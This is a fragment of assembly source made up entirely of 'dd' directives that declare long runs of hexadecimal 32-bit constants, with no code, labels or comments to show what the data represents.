dd 2AE48797h, 95142760h, 0E4AF1B78h, 40F06Bh, 63CE077Dh dd 64132321h, 0F424A4B1h, 3AE0C608h, 78046288h, 0C0D8CC00h dd 948D3406h, 6F25BA24h, 9CF41C90h, 0F02C9297h, 0E16B6B18h dd 22F7C005h, 70043E10h, 80A09B52h, 21A2E57Fh, 88D49C18h dd 0E3E3EB2h, 90258C34h, 505B151Fh, 459D2508h, 6030E418h dd 1E1C03Fh, 0AB8320A9h, 3C75CA6Eh, 0AEAC0010h, 8E2FBE1Eh dd 66A4027Dh, 2239069Ah, 0E08070DCh, 71281D3Ch, 0AB050064h dd 65F7D116h, 3400884Eh, 379CC29Fh, 525810C5h, 8112A8E8h dd 6DA4F406h, 3895CA2Eh, 4C04AD96h, 400B341Ah, 2898F28Eh dd 0B001C9Dh, 6DA04C8Ah, 18C4597h, 0DB95049Ah, 0C68D9F59h dd 7A082474h, 0F40C1231h, 23E80470h, 28B416E8h, 0AA05A087h dd 296BB910h, 8C83544Ch, 74860E97h, 0E7ABA11Dh, 0BA002CC4h dd 43CCDA96h, 0B17C3Eh, 0F52E2362h, 0C44EC0B7h, 0DD9ED704h dd 0DCC8732Ch, 96D4E33Ah, 0C47107C7h, 0A0F06681h, 0BCE162ADh dd 78F024B7h, 6402E8A3h, 3552A6D7h, 85CAFCCBh, 3D413056h dd 0BFC481D4h, 41ED6016h, 0A714B88Dh, 482CC12Eh, 0C87B280Bh dd 5C3620D4h, 4C49407Ch, 88CCCE5Ah, 6A44C025h, 495EC20Eh dd 30F6A004h, 0F7E00016h, 839EE59Fh, 0A8D7F9EEh, 0DC23483Ah dd 148D8900h, 176D5F4Dh, 42F45DA2h, 3F6696ACh, 0DAD97451h dd 12261B18h, 5B03ED4Eh, 0EA91040Fh, 7B88EA38h, 6CBB78D0h dd 0CEF8EC3Dh, 6F0FBC8Ch, 0E9A04937h, 0C6F9A1ABh, 0B414009h dd 0B4E87025h, 3E465E54h, 0BBBC781Fh, 0F3B01693h, 0B15F0050h dd 0BC2B4F06h, 0D02A4BC0h, 0B689C8BCh, 32B4809Dh, 0FA5B4927h dd 6E393866h, 1BE82109h, 81C0C4CDh, 0EBC8C23Ah, 48260CFCh dd 0DCD050B9h, 0B20F910h, 0D0926A7Ah, 2243EC88h, 99002F25h dd 9BBDA74h, 71A43Eh, 20F4EC22h, 4E6180B1h, 2578420Bh dd 0AB104AADh, 816437F0h, 0CA0BEF7h, 665C203Bh, 97F13E40h dd 34ADB010h, 4470C0BBh, 2EB3B042h, 38F5840h, 360EC917h dd 0EF6DA100h, 883C35CDh, 0BC9A099Eh, 0E09A96CFh, 0B089485Ch dd 973C5A89h, 54678C84h, 8C36E84Ch, 0B5647000h, 0E88A8F95h dd 838D0916h, 30DADE9Eh, 0E66D3844h, 3DD7122Eh, 0C838E24Eh dd 94085871h, 58280997h, 271D1848h, 2E98CA15h, 78741AFEh dd 0C6620B25h, 6A323338h, 2140F229h, 0CC646218h, 6E82B449h dd 990D49Fh, 0E4820CBBh, 9CC58DDBh, 1760D3E4h, 1C004420h dd 1438899Ch, 2C56C167h, 0A52476B9h, 6400A0E4h, 0D0DD214Eh dd 0F5FB5Eh, 0F40F7765h, 8005E841h, 0E9C06F09h, 42607160h dd 74E70115h, 87602CC4h, 0E21E0611h, 0C06DAA6Eh, 979CD688h dd 652A48B9h, 0D86E7E60h, 3EDB0177h, 153970FCh, 0E414253Bh dd 1E005520h, 96C3381Bh, 0DB5EC1h, 0AD472484h, 6C99054Dh dd 90E9C224h, 9CA37792h, 2A93B79h, 464AF041h, 3BD40B58h dd 0C6ABA5BDh, 386D976Ch, 0C922F5C0h, 4D8900BFh, 405C2D3h dd 6CFA089Dh, 0FC728701h, 3EE41D0Ch, 6F94BC40h, 1614F8ACh dd 80D0732h, 978001ACh, 35A3EEA2h, 0B69C0964h, 3C65F61Eh dd 9E60DCE4h, 1F12FAECh, 14F3F384h, 0E3F0C212h, 76AE0898h dd 86E1532Eh, 84183C82h, 0E21210D5h, 3333F2BCh, 42CE080h dd 9D2E3A00h, 88D4C827h, 8CB60B65h, 9CEFE7D7h, 0B6C88640h dd 4C200B6Fh, 208B76ECh, 4E4C8977h, 0C478A584h, 89756025h dd 0A82805BBh, 0B617C8B0h, 66C6E084h, 8541029Ch, 0FA7AB603h dd 0D2E034EDh, 7FBA4F14h, 94C4098Eh, 0C4706319h, 915C9DB5h dd 1DEB803Eh, 0B9222A99h, 0B0F3058Ch, 83CC083Bh, 11349769h dd 13608126h, 9882F829h, 4E81B684h, 0C21C805Fh, 25894086h dd 70CECDFAh, 0C0C04D95h, 1FCA3D21h, 85FB9502h, 948BE9Eh dd 0C999882h, 49409307h, 1DA840D0h, 0A5839B87h, 0C40E9064h dd 618FBC8Ch, 33EAFBC6h, 0F07E3FD9h, 1000E1FBh, 846A8820h dd 623D759Eh, 49C54094h, 3879C8F9h, 0A807F218h, 146E8234h dd 1067F3A0h, 502512B2h, 2C58F39Ah, 0DC248Ah, 0DC1F69B8h dd 20E144B2h, 152AFE74h, 900FC39h, 0E5691B28h, 18350268h dd 0D0700E75h, 309416BEh, 0B0049101h, 7068C512h, 8C3EECh dd 9988146Ch, 0AF17DA4Eh, 4488304Fh, 0ECF000F1h, 0D55DF6C4h dd 800B315h, 7CFBAF5Ah, 74139AAAh, 0CEDE0531h, 0D1F01DB2h dd 2F653D78h, 24684872h, 0E630824Eh, 97B02009h, 5CE89825h dd 1625C830h, 548A5CA1h, 0AF48C059h, 0F6FAA105h, 0D8D3A037h dd 0B08DE8ABh, 0BA7C125Ch, 4FD4E7FBh, 9187009Ah, 553730F3h dd 0C408EFC0h, 92F49C2h, 0F84A9407h, 0CECFBC81h, 0E4352E47h dd 0CE064F6h, 0C41486F1h, 9660FAE3h, 494AA804h, 255124A4h dd 24B7C817h, 0DA56E87h, 2058F306h, 0D080247Eh, 8812D19h dd 1874AE02h, 26467Ch, 0E37D7318h, 48838DF8h, 0A74E8896h dd 446A024h, 548A4C34h, 10329099h, 3DAC1735h, 9007C310h dd 0D071DC3Eh, 67772055h, 0FFBE8400h, 7FC78714h, 41654F13h dd 3AD6CDB0h, 0B2508C26h, 0F7B71E2h, 0D462791Eh, 0FE16D882h dd 0F9E98780h, 25B78634h, 0AF8597CCh, 0CF784490h, 23AE3296h dd 8474E4E0h, 0C03A40EFh, 11622Eh, 0C5D233BDh, 764D8FDh dd 16F08307h, 440CF4Dh, 0C0B2810Ah, 0ACFE6D49h, 1A971D97h dd 11E89DF0h, 0E9458321h, 3CAD0B4h, 52A3A5Fh, 0B1B68784h dd 8558901Ah, 0BD3EF3D2h, 97AD0036h, 1021F1A3h, 0E56D096Ah dd 681735BAh, 41802791h, 0E6D236E5h, 0D1205C00h, 644AC88Dh dd 0E05653F1h, 800D421Fh, 82D6E92Fh, 74FC6F8Ah, 0CCEC94EEh dd 0C64592Eh, 0C40A2406h, 89C80A88h, 4088DCA6h, 0B82EA94Eh dd 0BA88A4BEh, 1F9C2065h, 27259FC0h, 4AC0B0CDh, 4B7A2B15h dd 864CC805h, 2878D802h, 70736E94h, 5EB09614h, 0D20F3C46h dd 25DE8921h, 1D7080F3h, 0E7F20961h, 507C55BAh, 0D1AC59A7h dd 0C918D3h, 6C3BD4A5h, 4BC19778h, 0EEB4AA50h, 91B2E740h dd 696B00C8h, 31D2A75h, 0E1DDCC00h, 0CB0D3AF4h, 0AF13000Eh dd 0C95F3C92h, 724B066Dh, 319D54CCh, 14991525h, 0CECBE1EAh dd 10B7A760h, 0B9B28702h, 0F42C3943h, 880BDE70h, 26A6662h dd 2F0288h, 891DEEF1h, 0E72BE225h, 0FC961064h, 0FE008C21h dd 2D3B886Dh, 125C4089h, 0AC83343Dh, 0A0E3C744h, 17187489h dd 1B77026Bh, 0CC7483D7h, 64200C17h, 0B12C99h, 2BF09734h dd 24E1A8D2h, 193D7979h, 69420F02h, 0C0C44F1Dh, 81C26D64h dd 88B89F17h, 1120A26Fh, 9AB6E625h, 0CC90BF6Ch, 0D91FBE93h dd 28E69F12h, 3244676h dd 3CA3882Ah, 4E149806h, 0CB3E24B9h, 80B72F14h, 6D948901h dd 8D2B7B6Bh, 88C80ED4h, 1A9C322h, 9A631BC0h, 0BF11EE02h dd 202C258Bh, 742B7B80h, 46772600h, 0F8F824Fh, 147F0708h dd 0F0727D04h, 6EE1836Dh, 38773972h, 79A11825h, 8599840Ch dd 3CF4CCF6h, 0FA27A688h, 543E8C9h, 0D9BAF130h, 9A18D10Eh dd 0F60C12DFh, 0C3FA8E9Ch, 9C5CCC60h, 65022852h, 34D73922h dd 4158D487h, 20AD048Ah, 0CBECF524h, 0D79E9502h, 5F2F5286h dd 4AC05490h, 6060B625h, 861D62E8h, 0F0342740h, 0BA812E6Bh dd 8D068024h, 8EF84E9Bh, 7CC3164Fh, 397D07h, 14A5C8D4h dd 9C34EB1Fh, 0A26CD304h, 66EF20CDh, 180B98FCh, 22694D4h dd 0E16628h, 2B23297h, 0D4AC90D2h, 0A1A26D09h, 0E8902870h dd 0D5051477h, 251FE939h, 0EA402807h, 0E8912C1h, 0C0BC9448h dd 3D3A394Eh, 0EE04987Fh, 781F9EEFh, 3E8EF481h, 85F5CD00h dd 23FEAE10h, 412D0C18h, 17743B0Dh, 79309C00h, 0A7CEEBC8h dd 8B923B06h, 8D9BA180h, 77840AECh, 516970Bh, 95E41024h dd 916E4B4Ah, 3E8681CCh, 279F5802h, 0E5EC843Ch, 8B4E3540h dd 9B0CE7DBh, 5893C997h, 0A4C725B8h, 3F44087Ah, 0D0924B07h dd 0A5AAEF1Ch, 60251C40h, 53F77950h, 0B98839BEh, 0C2D04032h dd 0C092644Bh, 4C302B45h, 72702A95h, 0A0E1B080h, 2E87C01Ch dd 61608234h, 1DAA2Ah, 96BAB140h, 6F3E3FF0h, 90F69118h dd 762DA685h, 0D1E40F20h, 4291B204h, 70D4C609h, 4827A4Ah dd 0D1047997h, 1AC41921h, 4DB70120h, 0A5367399h, 51703025h dd 9E891461h, 4052352h, 0C8120124h, 5641767Ch, 2782B024h dd 30F135B3h, 0B718D0D9h, 3C56DB07h, 0D8E07515h, 1E36C8Fh dd 9BF3BA8Bh, 60961193h, 0DF40068Ch, 0CB8D4FDEh, 0C0DD88ACh dd 0C907258h, 965CA509h, 5348423h, 0B35A44ACh, 302BB2C8h dd 2C011DDCh, 9E6B9750h, 1D3F3E6Ch, 0D0C5654Ch, 59305925h dd 745A183Fh, 0B6C30515h, 1C9A2B9h, 66530F80h, 0D260830Eh dd 1616DC1Bh, 0C264EA58h, 0B7D5E8C8h, 3A31608h, 480EE385h dd 9B361900h, 3EE538D9h, 6FB31667h, 88B08E54h, 42A1C0D0h dd 277F770h, 2624B301h, 10C9B2EFh, 0EA50D92Bh, 0E2007C72h dd 0D713E0DEh, 7FF115h, 0A04396BDh, 0A10DF241h, 10A0664Fh dd 0B1C80B9Dh, 0F8FBCD32h, 4B3477D0h, 4BE09D2Eh, 0C33E8808h dd 6788B4B0h, 1C09AB9Ah, 716BDB83h, 0D83572DCh, 0A06F6697h dd 9D785F00h, 299FD480h, 0C83F7B02h, 68B4CAA9h, 4B7232B4h dd 84808807h, 0B6C410E9h, 3C25BDE7h, 0E014B6E4h, 9EEE6D1h dd 8034DB5Dh, 343AFC91h, 9A0A6828h, 0DBAEB99Eh, 6405F020h dd 6C308F8h, 0ECB848BDh, 2DC3302h, 5CF7C02Eh, 39C350F0h dd 0DAF16099h, 0D114D918h, 48FA092h, 64829E08h, 2B6C72AFh dd 608C5C29h, 0FBBBE11Fh, 98CE1C5Fh, 38C03FC8h, 16C8B595h dd 0E042A940h, 80BC3AACh, 1C60E1DCh, 0E0DD165Fh, 258092B6h dd 668034D4h, 5E5BBB21h, 91D10BF1h, 0C0D23294h, 0F368C295h dd 0D82370E4h, 0BB252200h, 3A3CE34Dh, 9F3402D1h, 11E67E4h dd 0BE4A5CE0h, 0E8E7E125h, 4E0D7730h, 0F1A4B61Ah, 4AF0A97Eh dd 91CA2CCFh, 0BC7A926Ch, 9CFC7F38h, 415C9A97h, 9F186E04h dd 9575F008h, 975D70A3h, 9FF03Fh, 44986360h, 77497971h dd 7362515h, 89478EEh, 8E3000DCh, 357E1D9h, 0AA029D65h dd 0D134F69Ah, 2F45403Ah, 97ADE8E5h, 3F6D2C41h, 74C014C8h dd 0A9530220h, 9F07AD8Bh, 0A241A87Eh, 0AC052889h, 721625A0h dd 0DF8D01E0h, 13D0BB8Bh, 0B14BECA7h, 732EC170h, 77099232h dd 0EFCC447Dh, 3D134ED0h, 6700A0C8h, 0A62B6E39h, 37B574C4h dd 8EF109B4h, 0E725CCF0h, 0A7CC7BC3h, 9F009435h, 0BCC81E80h dd 1C30DE2h, 30212D24h, 9000B3B9h, 0F707F833h, 16D3AF9h dd 0BAC5F1A9h, 0D26E99DCh, 0AC0214DAh, 256CA883h, 5760CA3Fh dd 0AC408C1Ah, 5C82D1CEh, 0D00660D0h, 1B6B2A94h, 0E48C6529h dd 1BF16021h, 9A4D023Eh, 7EAA545Bh, 917CB557h, 0BE608022h dd 8EEFD9Fh, 35B233F2h, 3208C02Ch, 531705E7h, 5EAF4Ah dd 0E5D2131Eh, 860E90F3h, 6E6048D8h, 32950E7Bh, 0F480AE4Eh dd 3F6BE3CCh, 0B848496Fh, 0A57DF403h, 0F1A2C26Ch, 86273050h dd 0CF304705h, 56858451h, 7A2828AFh, 0D5F66C77h, 34008971h dd 67AF8B1Dh, 34E16A72h, 0AE3107B1h, 92AAA420h, 0B8AE48Bh dd 677D3671h, 0BAC43488h, 0B1FDF450h, 939B0074h, 83658FC9h dd 3792BE14h, 14632484h, 706C7369h, 640BFA44h, 6854D2Fh dd 584E2Dh, 0E0839B54h, 0ABD2C897h, 78E68D4Bh, 44BC09B0h dd 0B10FC81Ch, 4AC0F7C2h, 2D2070A2h, 7CB7AC0Ah, 575F7700h dd 46893B0h, 8EB19748h, 1039AF18h, 0A2A8C03Dh, 6516A00Ah dd 0C14BACC2h, 56104D6Ch, 0EC41B2B9h, 34E631F0h, 0F9A10125h dd 226B8C8h, 0AA828E7Bh, 0A85EF51Eh, 354B77h, 373B0387h dd 9D844490h, 6A811205h, 0C774B45Ah, 9E383901h, 4DC2891Bh dd 6D871887h, 12331ACh, 0C8DC2F76h, 0CFCE4B99h, 0C0DA886Ch dd 19CAA168h, 4AE8883Bh, 0C588ECE2h, 46884EA5h, 0DF087769h dd 70A6B692h, 0DF3F717Ah, 73A405E6h, 20BE3381h, 0BC21B670h dd 0FF5E7624h, 0ECA68A00h, 96B8762h, 88B1A99Ch, 0DB008859h dd 0F7376F82h, 11A60363h, 0D376A865h, 46922D90h, 0B99DCD01h dd 1B25AACEh, 0B890843Eh, 0B8C8D7ACh, 49840FBEh, 7B00E1F6h dd 5836995Dh, 0EC9397h, 304E20CAh, 738B3E53h, 0FFF3BB00h dd 0FAAC793h, 0CD490C65h, 77694DA2h, 0E32A970Ah, 0A0990EFh dd 42285ECEh, 7C641656h, 68439E00h, 0EF22EC3Eh, 89460051h dd 0BB5A65C3h, 0C47AD897h, 0BC69FA01h, 18E06739h, 0CC3555D2h dd 0F6803C91h, 6887A1AFh, 0BF28125h, 9E580260h, 0BE4860D6h dd 0EC26573Ah, 0D05DB2A1h, 8C1F0E1Fh, 5A929685h, 8D01DCF7h dd 0B14AEEB4h, 3E881B55h, 998531C0h, 9B64921Bh, 10667860h dd 0C960689Ch, 1C0EFF64h, 6C1A5297h, 0FA7A89BCh, 6A0C44F9h dd 0E92ABCh, 2211AF39h, 505A9103h, 30FC9651h, 164BDA50h dd 729754CCh, 0F433E9F1h, 703126A2h, 31C69088h, 0ADAC7B25h dd 2B64E845h, 0C0C41F60h, 8905B70Bh, 5424ABEAh, 9D2E17ECh dd 85E030B8h, 44A7E09Ch, 0F29600F4h, 0CEB6C7FFh, 1E244091h dd 0A30F9DEEh, 11E7E1D2h, 0C607778h, 0B3BF2906h, 403000BCh dd 552CE671h, 44DC7E00h, 6ABFE954h, 0C7AA0h, 0CB2AEAF8h dd 8598C479h, 976D9007h, 73412CEEh, 9F2BF0A8h, 47CAC050h dd 429A3297h, 0C512100Eh, 0A3E89D01h, 0ECDA982Dh, 0D64E9289h dd 622DACE2h, 0A1A004DBh, 858B0F00h, 94AAAB6Bh, 7A9E131Ah dd 8048E8A8h, 5CE0F1F2h, 6587059Ch, 50BB08h, 7518DFB5h dd 0BA972AABh, 59B879ACh, 0F2B18DFh, 9060B90Bh, 0E2813643h dd 2D28F98Ch, 0DB6089EAh, 672270ACh, 6F3C6AE0h, 0FB2FA5C2h dd 0D4D30010h, 5658DF8Fh, 1163021Dh, 832DDB80h, 0B059BC06h dd 2758A5FCh, 225024F3h, 272FE78Ah, 212A860Ch, 0D2B04400h dd 5C246D45h, 0F95F0011h, 2FB1D0A9h, 950BAAC4h, 0FA645652h dd 37871244h, 0A2D0B849h, 40652947h, 0D96027E4h, 0E904AA21h dd 7030BD5Ch, 0DCAC08BDh, 8B98028Ch, 1997DF10h, 22C4A8E7h dd 49E6760h, 8B2A2307h, 12A2C886h, 259058CAh, 148D765Ah dd 38C12F79h, 9500E596h, 9CA8324Ah, 976316h, 4C83AFE0h dd 0BCDAE6DEh, 7B02DC0Ch dd 5807C7B1h, 6B0C60C8h, 0D9BA256Fh, 0A4902C5Ah, 260FAE11h dd 0ADF16E0Eh, 0F8319D80h, 0F3986A72h, 0DAB05A1Fh, 747127h dd 7FA50FC9h, 870022D7h, 425EAA74h, 2FE0ADB2h, 4CA20CB0h dd 0CC28E794h, 70045327h, 3E001579h, 6C59A726h, 5DF5A2EFh dd 0F24A341Ah, 46042EF8h, 9841B600h, 1DC45703h, 82EE0BA0h dd 8A3BB0F8h, 11181DFFh, 0B9B78032h, 0F9A2075h, 78FF977Ch dd 25939607h, 0B43AFB32h, 0A22D8C7Ah, 744D109h, 90FEEC32h dd 0E9C582EAh, 119C240Fh, 0BEB78083h, 585A596h, 0DB8B55BFh dd 0B8E4EDDAh, 0BF5C09F5h, 68DE4BD2h, 0F9B7740Bh, 345483D0h dd 0E6ED288Bh, 0F3AD0054h, 93759256h, 153400A8h, 16088D5Ah dd 88A8AC6Ah, 0BF90387Ah, 37AA5725h, 40531DD0h, 642C580Bh dd 344B4910h, 49F02CE6h, 0BF390C18h, 87930622h, 21370Eh dd 0B41143EBh, 0BB1B6218h, 0C283B21Bh, 60C4A2B0h, 0B5273578h dd 80006C3Dh, 6605D1B5h, 67A0CECh, 74210416h, 4E1F8400h dd 0B382C419h, 3BAE48BCh, 0C80B5C5Ch, 67CC0F5h, 0E258E800h dd 4B76BE83h, 2130CE3Bh, 7104A9ABh, 0AD2182Bh, 0E2359924h dd 2A465C20h, 0A0B10F18h, 678040FAh, 2A7A0008h, 9E856C4Bh dd 18CB2C22h, 3CD994h, 0F4FDE8EBh, 3000D046h, 0DCB2146Bh dd 132DD565h, 0F0B75Ah, 3A6E3964h, 71C02F0Ch, 6C7D969Dh dd 606900D5h, 79889BD7h, 0F6007258h, 6F3D2CCFh, 98025315h dd 63E6050Fh, 0C186B980h, 0B48E30h, 92D3138h, 3251B2E2h dd 7958A05Eh, 0E8FC8296h, 41CA00DCh, 6DDA1703h, 98039F02h dd 32B1B6ABh, 88804FE3h, 65008A74h, 0B9D79E44h, 1B1060Fh dd 0B67F1213h, 3AA163B3h, 0BA84305Dh, 3BEF9045h, 432239Ch dd 0C1E05253h, 449F0674h, 0D548C068h, 94B90C6Bh, 8501621Ch dd 1D06EE1Ch, 0E5771CCh, 875ABFF3h, 8184EC85h, 3B3105E0h dd 29104C58h, 6CECB5C5h, 0E87B4893h, 0F1F490Ch, 0C0FBBE59h dd 36E3250Eh, 285F5A6Fh, 65A0F8A7h, 20005C31h, 183D942h dd 99B8123h, 9C07F92Ch, 0A031C4C8h, 0C5EF1D12h, 13C594BCh dd 0C0641362h, 24048D44h, 87F8A497h, 5D8E99C0h, 0A4F1003Bh dd 3A2394A6h, 502E3228h, 0C02C2065h, 29D32A04h, 25233Bh dd 78BFADC4h, 6C1EB4BDh, 0A6E1C2h, 41DE818Bh, 0CC2BF194h dd 808A1670h, 9707A878h, 8522532h, 9D70747Ah, 0C2FE407h dd 98F09BBAh, 5D1B92h, 77E36D6Fh, 2CCC76B6h, 4871E2Ch dd 1051FF1Bh, 4B31C248h, 0B7E0DC81h, 204CF062h, 0F65A963Eh dd 107C58C0h, 9702DE36h, 92A9B626h, 0FDD8848h, 96853909h dd 0D8C0EB4Ah, 22CF72Bh, 87EA8205h, 0FC5EB9C8h, 9ECD949Eh dd 90847125h, 10FE25Ah, 0C566913Eh, 0B8A0242Fh, 0C3BC4898h dd 0E9BC34CFh, 842E555Ah, 5C49AED0h, 0E388F425h, 82F05B5Ah dd 5700BFCEh, 7753A759h, 31E52A0Eh, 8F316625h, 8EA088D0h dd 673801C7h, 2B4850FCh, 8A4364C8h, 98E00EDFh, 62D23AA1h dd 2403B86Ah, 0E78F9C5Eh, 867D6211h, 308BF76Eh, 0FAC07054h dd 3DB68F9h, 0E077205Ah, 9598BE3Ch, 58FAFBCDh, 0CB836C00h dd 729131Fh, 294A424h, 2D822A91h, 0B7D5E62Bh, 90AE00C8h dd 7E76462Fh, 9482D52Ch, 46748C26h, 491B0135h, 2F290BBAh dd 4A9E2820h, 7C9CF761h, 0E0D25227h, 4AADC68Ch, 811CDE12h dd 0F98197DBh, 6E78C02Bh, 115E55A2h, 593550C2h, 18267138h dd 0FEB8C43Ch, 5EC50930h, 30467E4Ch, 85F37100h, 923498B4h dd 0B4400E5Ah, 0A8B78B91h, 0C37400F0h, 4B076E11h, 2803F683h dd 0E4297344h, 0BCBCFCF4h, 7C35AB92h, 8DD43CAEh, 58B07395h dd 4400FE2Ah, 0BBC1B42h, 40EE9E84h, 0C23D6D22h, 220740F1h dd 6F48D99Bh, 44282260h, 0E8307913h, 836FF6F4h, 0D10B0ABDh dd 2FCEE7Bh, 0E7923806h, 21D90471h, 6608EC19h, 0BAAA683Dh dd 42A098D1h, 80FB95A0h, 8E25A683h, 0D030F368h, 2D00B776h dd 2FF25B6Bh, 9790E001h, 5074A4BAh, 5254656h, 51731D89h dd 82FE9909h, 57DD2698h, 2CA48497h, 3D7CE08h, 1E387687h dd 0B9576582h, 16119164h, 3846D03h, 6839D927h, 9FFCA88Dh dd 789097BEh, 0AE4AD0C8h, 0E64A28F2h, 5E2FE0B8h, 208202ECh dd 58109AAAh, 0CEB0997Fh, 6C06C311h, 8C2BBC7Ch, 0FC696305h dd 28AF1094h, 478A4EC4h, 6035441Ch, 551A021h, 95102DF2h dd 0A08CC52Ah, 565A9148h, 579F4882h, 39BA90B8h, 0E0F46780h dd 35652547h, 0FF447479h, 89B0095h, 208CEAC0h, 13143614h dd 0B8709DFCh, 0A8008C32h, 8C87FBC5h, 96429165h, 0B1860030h dd 9D3D39F5h, 69B981Dh, 0C1704DAFh, 0E048719Ah, 0B5ABFE5h dd 0BDB2C0F0h, 568D1468h, 0C9092B1Fh, 7A03AD81h, 926EB7D5h dd 1D21FA04h, 0C43F9A53h, 0C154B884h, 39963295h, 68302D2Fh dd 8C26ACC8h, 79ABF200h, 0E16BD4C8h, 0AF40BEBBh, 84007871h dd 12464E2Eh, 832A00D5h, 1D5EE37Dh, 0AD58FB66h, 8C36E884h dd 82925300h, 0E063995Eh, 72D0B3Ah, 54C7FE83h, 23602264h dd 0C501E563h, 0BC40339Eh, 802BE768h, 1706F90h, 4B0D610Eh dd 0F8BC16A2h, 239C2EB4h, 0D8BB0428h, 0A540C597h, 0B8943D30h dd 9A9207B4h, 0E4C57128h, 2328A10Bh, 3238A208h, 15B4B080h dd 8123130h, 20E86CC8h, 0EA950784h, 3E89A831h, 8084AC04h dd 0E031FB84h, 48DD2786h, 320054D9h, 87ABC24Ch, 99E6E8h dd 0D5818B14h, 3B53A2B1h, 0EAAE7F07h, 8E079DACh, 0FC916410h dd 5E74A20Ah, 575CDCACh, 4B13E12h, 117C402Dh, 9B6088AFh dd 6C5BB02h, 5E81B82Bh, 0F4C863B0h, 28BE5AC1h, 853416F8h dd 88AF9424h, 8A1F5250h, 30801965h, 46477CB6h, 547A3Fh dd 0E9033B57h, 4FE48C17h, 21A4E3Bh, 92F2B79Dh, 34377DD9h dd 0FF758000h, 75740BD2h, 0E532D7Fh, 2F6428C1h, 0B1E1A831h dd 0BE82282Ch, 6F012F4Ah, 0DB6A0E7Bh, 67C8764h, 0E0BF2632h dd 147DE262h, 34BDE163h, 2574852Ch, 9B564000h, 2E4F0F93h dd 5C1070B0h, 29E8ECABh, 0C5F8008Ch, 9BF7CE8Bh, 2C002B62h dd 867385Ch, 48F099B3h, 85814CCAh, 813F5AA6h, 45D88C80h dd 9FD07989h, 42BA2D98h, 40F204F0h, 0BD867403h, 0ED63F523h dd 11E0C4F7h, 0CC986BD9h, 98F1F44Eh, 35BCB02Ch, 70BD008Ch dd 0DA6DC893h, 8A263294h, 0D513063h, 5C2EF6E9h, 0A80F2200h dd 3D406B1Eh, 0E9AC79ADh, 0B4C355Dh, 845E78B6h, 9512C451h dd 0FE0BDE84h, 2623C83Eh, 0B4CFA91Fh, 981A2031h, 3BDD0D2Eh dd 56832D0Fh, 6E0A3FD7h, 2F7230A1h, 7A4B5831h, 0E62ED8F4h dd 0A4E5B536h, 0DCB1AE90h, 55299A6Dh, 65180321h, 0E1495A62h dd 0C4342EB4h, 83FD7080h, 0C46A5A9Eh, 0F828AE1Ch, 884C9C1Bh dd 9C484AA9h, 95301450h, 0C8D940F9h, 9A95BA18h, 0C40B7718h dd 116F1C5Ch, 0E0ACB692h, 1203228Fh, 0D124056Ah, 0DAC0A034h dd 0AB7BEC60h, 9230CB00h, 9AE93BF5h, 34E6B554h, 79785195h dd 0C418DDh, 0B6C65715h, 3844E8F1h, 3B58E1B5h, 61CCA820h dd 6AAD1039h, 3378F596h, 5ACB00BCh, 87B0257Bh, 0AFA9173Fh dd 94820E02h, 0E0C2F10Eh, 205F7796h, 0B6566314h, 0C5662589h dd 348B8873h, 204F28Dh, 0D795E89Ah, 5F766A6h, 0AC6B6D88h dd 4B0F2923h, 76A2034Ah, 5C62EFF2h, 75F042F7h, 0C802C8ABh dd 0D872E0C2h, 57823CFAh, 0CD57DC3Ah, 0DED44084h, 0B04865h dd 0D126E235h, 7C420EBh, 3D40C994h, 0E020B70Ch, 0C7BB47C6h dd 250ED6EAh, 60F63B40h dd 0F3B04F3Dh, 8B780B7Ch, 38F6DBDDh, 9509D410h, 0B7575D97h dd 0E5131CE0h, 7026470h, 0F5C8F18Bh, 45445EAEh, 2CAD16h dd 0BA2A6F0Ah, 582D49Fh, 7CD0D7EAh, 6C37AFC7h, 0AFEDB030h dd 58B0B0C4h, 4E714587h, 683C8D53h, 0E6AB25C0h, 4F60A710h dd 179F9D51h, 2CA13A98h, 767B009Bh, 45E3AC50h, 2100EE01h dd 0E2CC3244h, 1D547A8Eh, 0C280ABF6h, 2B873497h, 0C640387Fh dd 0B55004CBh, 809D30B9h, 0A8760580h, 41A26C17h, 312BA8A1h dd 0D80864B4h, 4225331Fh, 0B704EE1Dh, 520070C4h, 0BCCC6C5Bh dd 4BD389ACh, 220CCA3Bh, 782093ADh, 910532FDh, 0DAA9C889h dd 630068ECh, 0E567D894h, 855856DDh, 0E87C58C0h, 0AF008C2Ch dd 6EB2C122h, 9F1021BAh, 0A62B5468h, 49B3A40h, 0EC71E38Dh dd 6F098ADh, 0AA6D617h, 50E90C53h, 94124FB8h, 0DC0492C4h dd 3403067Eh, 494F1C8Fh, 0CC611C84h, 8C6BE929h, 3A690CACh dd 0C2EC56D1h, 9D012CDAh, 0A0298A34h, 523A204Ch, 833F68E5h dd 0EFE55A20h, 8C7A543Bh, 9B682107h, 0CAE2E283h, 44895585h dd 0A440BC7Eh, 1C5DC1FAh, 80E291CDh, 7303358Ch, 0DFEC7A1h dd 0AC8EFD12h, 67308F3h, 0AF7F9B84h, 4D9D68FBh, 5A80CEC0h dd 8CFBD093h, 0A2774Ah, 0B763EC00h, 0A5AE3E0Dh, 0F162F900h dd 0E83530D0h, 50716E0h, 0F40CBC9Bh, 28B29CA2h, 48777030h dd 5A105CAAh, 43B51CD9h, 6CC0D601h, 147CD1C2h, 0E918854Bh dd 39BAC64h, 0BDC832D2h, 1F908B9Ah, 4120BACFh, 96B9120Dh dd 118E156h, 6ED483ABh, 387C400h, 5E137A75h, 9C8F36Ah dd 9DADDC31h, 813E11B8h, 62A16581h, 0E05C082Ch, 0F2140CD3h dd 1D958A89h, 813F1114h, 675E09EAh, 0CAD8082Ah, 0FCD43417h dd 2C5D6481h, 85FF7C40h, 40E09F32h, 5682FA3Dh, 0D4732FC8h dd 0BBA070h, 51B18DDBh, 16D1CDB3h, 0D5A10660h, 31CE7Fh dd 824195Eh, 2ADE01B1h, 0DBB5A201h, 6EED9F6Dh, 0C8448E6Bh dd 2681C024h, 0AAA05D03h, 4CB49771h, 0F2B604DEh, 0AEC066BEh dd 9BBAFC84h, 97898008h, 447ED5Fh, 0A26F0E31h, 1C88ABD9h dd 6D3840DEh, 45B0C258h, 4C896BC8h, 804C9B3Eh, 99C2B72Fh dd 30858119h, 0F18050BCh, 9E8B16EEh, 0E7E08022h, 43428134h dd 0A8D1E22Fh, 822A9582h, 7AAD0035h, 7FA6D6Ch, 720F0D27h dd 884800A4h, 6E7B50A2h, 8005D818h, 15946270h, 9D0040E9h dd 850F0AB1h, 7200E8A3h, 0C21C4989h, 9963137Bh, 6AD800C8h dd 733BF45Ch, 1C67AA0Bh, 6B205E70h, 467098DBh, 91EECE25h dd 0EEF4DE60h, 7CF7A950h, 73B516CCh, 0E5E13CBCh, 2B882186h 